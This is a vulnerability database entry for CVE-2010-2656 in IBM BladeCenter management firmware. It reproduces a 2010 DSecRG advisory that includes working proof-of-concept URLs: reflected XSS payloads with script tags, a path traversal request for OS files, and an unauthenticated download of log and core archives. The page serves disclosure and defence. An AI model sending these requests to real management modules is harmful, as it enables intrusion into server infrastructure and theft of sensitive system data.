CVE-2010-2656

medium
Published 2010-07-08 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

The IBM BladeCenter with Advanced Management Module (AMM) firmware build ID BPET48L, and possibly other versions before 4.7 and 5.0, stores sensitive information under the web root with insufficient access control, which allows remote attackers to download (1) logs or (2) core files via direct requests, as demonstrated by a request for private/sdc.tgz.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14237 webapps php verified text ยท 3 KB
Alexey Sintsov ยท 2010-07-06

IBM Bladecenter Management - Multiple Web Application Vulnerabilities

text exploit Source: Exploit-DB
[DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities

The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS


Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054


Application: IBM BladeCenter Managemet Module
Versions Affected: BPET48L and may be other versions
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
Bug: XSS,Directory traversal, Information disclosure
Exploits: YES
Reported: 05.09.2009
Vendor response: 09.09.2009
Solution: YES
Date of Public Advisory: 05.07.2010
Author: Sintsov Alexey
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
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The BladeCenter management module is prone to multiple security vulnerabilities:

1 Dinamic XSS
2 Directory Listing
3 Unauthorized Access

Details
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1. Multiple XSS vulnerabilities found in bladecenter web management


Examples
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http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\'XSS1\');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\'XSS2\');%3C/script%3E
http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>

http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>

http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS>
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>

http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1


2. Directory Listing vulnerability found in bladecenter web management

Attacker need to be authorized.

Examples
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http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc


Attacker can get full access to OS files.


3. UNauthorized access

Access to the sensitive data (system logs, cores) can be done by requesting a file:

Examples
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http://[BLADECENTER]/private/sdc.tgz


Solution
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All three issues were fixed in the v4.7 and v5.0

References
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http://dsecrg.com/pages/vul/show.php?id=154


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References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.